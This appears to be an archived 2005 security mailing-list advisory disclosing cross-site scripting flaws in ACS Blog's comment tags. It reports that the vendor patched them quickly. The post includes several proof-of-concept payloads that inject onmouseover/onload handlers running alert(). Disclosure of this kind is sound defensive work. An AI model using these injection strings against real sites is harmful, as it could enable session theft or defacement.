Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | Multiple XSS vulnerabilities in ACS Blog |
|---|---|
| Date: | Mon, 28 Mar 2005 18:15:34 -0500 |
These vulnerabilities have been tested on the latest version of ACS Blog. (v1.1.1) In the comments section of ACS Blog, it is possible to execute an XSS attack through the [link], [mail], and [img] tags, due to lack of filtering of single quotes and spaces inside the tags. Examples/PoCs: [link=http://www.google.com' onmouseover='alert("XSS vulnerability")' o=']Don't you wanna see where this link goes?[/link] [mail=bugtraq@securityfocus.com' onmouseover='alert("XSS vulnerability")' o=']Mr. Wiggles[/mail] [img]http://www.example.com/image.jpg' onload='alert("XSS vulnerability")' o='[/img] [link=http://www.google.com target=_blank' onmouseover=a=/Vulnerability/;alert(a.source) o=']Hooray[/link] ---------- Vendor responded within 2 hours of notification, notified users with the security alert on its main page, and patched the vulnerabilities within another couple of hours. ---------- Cheers, Dan
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | abuse & security issues > Israel, Gadi Evron |
|---|---|
| Next by Date: | Re: DoS of LAN via D-Link switches, Tarmo Mamers |
| Previous by Thread: | Multiple XSS vulnerabilities in ACS Blog, Dan Crowley |
| Next by Thread: | Multiple XSS issues in Sun AnswerBook2, B00B00 |
| Indexes: | [Date] [Thread] [Top] [All Lists] |